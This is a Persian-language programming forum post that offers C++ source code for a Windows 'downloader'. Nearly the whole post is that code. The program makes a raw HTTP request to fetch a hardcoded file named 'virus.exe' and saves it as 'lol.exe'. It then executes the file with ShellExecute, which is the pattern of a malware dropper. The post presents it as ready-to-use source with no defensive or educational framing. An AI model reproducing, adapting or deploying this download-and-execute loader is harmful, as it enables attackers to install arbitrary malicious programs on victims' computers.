• ¡Welcome to Square Theme!
  • This news are in header template.
  • Please ignore this message.
مهمان عزیز خوش‌آمدید. ورود عضــویت


امتیاز موضوع:
  • 24 رای - 2.38 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
Title: سورس کد دانلودر(سی پلاس پلاس)
حالت موضوعی
#1
درود
سورس زیر که با سی پلاس پلاس نوشته شده است ,فایل مشخص شده رو دانلود میکند و اجرا میکند.
C++ Downloader
کد:
// Downloader by den5e //

#include "stdafx.h"

#include <windows.h>

#include <iostream>

#include <string>



using namespace std;



#define BUFFERSIZE 4096



bool DownloadFile(string url, LPCSTR filename);



int _tmain(int argc, _TCHAR* argv[])

{

    // Download file //

    DownloadFile("http://www.link.com/folder/virus.exe", "lol.exe");

    // Run it //

    ShellExecute(NULL, L"open", L"lol.exe", NULL, NULL, 5);



    return 0;

}



bool DownloadFile(string url, LPCSTR filename){

    string request; // HTTP Header //



    char buffer[BUFFERSIZE];

    struct sockaddr_in serveraddr;

    int sock;



    WSADATA wsaData;

    int port = 80;



    // Strip out http:// if there //

    if(url.find("http://") != -1){

        string temp = url;

        url = temp.substr(url.find("http://") + 7);

    }



    // Separate host and file location //

    int dm = url.find("/");

    string file = url.substr(dm);

    string shost = url.substr(0, dm);



    // Generate HTTP header //

    request += "GET " + file + " HTTP/1.0\r\n";

    request += "Host: " + shost + "\r\n";

    request += "\r\n";



    if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)

        return FALSE;



    if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)

        return FALSE;



    memset(&serveraddr, 0, sizeof(serveraddr));



    // Ge host ip address //

    hostent *record = gethostbyname(shost.c_str());

    in_addr *address = (in_addr * )record->h_addr;

    string ipd = inet_ntoa(* address);

    const char *ipaddr = ipd.c_str();



    serveraddr.sin_family = AF_INET;

    serveraddr.sin_addr.s_addr = inet_addr(ipaddr);

    serveraddr.sin_port = htons(port);



    if (connect(sock, (struct sockaddr *) &serveraddr, sizeof(serveraddr)) < 0)

        return FALSE;



    if (send(sock, request.c_str(), request.length(), 0) != request.length())

        return FALSE;



    int nRecv, npos;

    nRecv = recv(sock, (char*)&buffer, BUFFERSIZE, 0);



    // Get end position of header //

    string str_buff = buffer;

    npos = str_buff.find("\r\n\r\n");



    // Open file at beginning //

    HANDLE hFile;

    hFile = CreateFileA(filename, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);

    SetFilePointer(hFile, 0, NULL, FILE_BEGIN);



    // Downloading until nRecv <= 0 //

    DWORD ss;

    while((nRecv > 0) && (nRecv != INVALID_SOCKET)){

        if(npos > 0){

            char bf[BUFFERSIZE];

            // Copy from buffer from end position of http header //

            memcpy(bf, buffer + (npos + 4), nRecv - (npos + 4));

            WriteFile(hFile, bf,nRecv - (npos + 4), &ss, NULL);

        }else{

            // If no header found, write as normal //

            WriteFile(hFile, buffer, nRecv, &ss, NULL);

        }



        // Empty the buffer and start again //

        ZeroMemory(&buffer, sizeof(buffer));

        nRecv = recv(sock, (char*)&buffer, BUFFERSIZE, 0);

        str_buff = buffer;

        npos = str_buff.find("\r\n\r\n");

    }



    // Close connection and handle //

    CloseHandle(hFile);

    closesocket(sock);

    WSACleanup();



    return TRUE;

}
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
  


موضوعات مشابه ...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  سورس کد خواندن فایل تکست (سی پلاس پلاس) Amin_Mansouri 2 6,560 09-05-2017، 12:08 PM
آخرین ارسال: ehsan.bc12
  گرافیک در سی پلاس پلاس jupiter2050 9 16,418 05-31-2014، 03:17 PM
آخرین ارسال: cnmeysam
  بهترین محیط (ide) برای برنامه نویسی c++ سی پلاس پلاس Amin_Mansouri 0 7,601 06-06-2013، 04:01 PM
آخرین ارسال: Amin_Mansouri
  سورس کد ایجاد افکت های مورد نظر (سی پلاس پلاس) Amin_Mansouri 0 3,561 12-06-2012، 12:29 PM
آخرین ارسال: Amin_Mansouri
  سورس کد Thrip Port Scanner Amin_Mansouri 0 5,683 09-13-2012، 05:04 PM
آخرین ارسال: Amin_Mansouri
  سورس های ++C Ghoghnus 6 6,971 07-12-2012، 08:46 AM
آخرین ارسال: امیر
  سورس کد اینکریپت و دیکریپت (سی) Amin_Mansouri 1 3,493 07-07-2012، 05:13 PM
آخرین ارسال: one hacker alone
  سورس کد نمایش حجم فایل مورد نظر (سی) Amin_Mansouri 0 2,844 06-16-2012، 08:32 PM
آخرین ارسال: Amin_Mansouri
  سورس کد تبدیل مگابایت به کیلوبایت (سی) Amin_Mansouri 0 4,527 06-16-2012، 08:28 PM
آخرین ارسال: Amin_Mansouri
  سورس کد خالی کردن سطل زباله سیستم عامل ( سی ) Amin_Mansouri 0 2,758 06-16-2012، 08:25 PM
آخرین ارسال: Amin_Mansouri

پرش به انجمن:


Browsing: 1 مهمان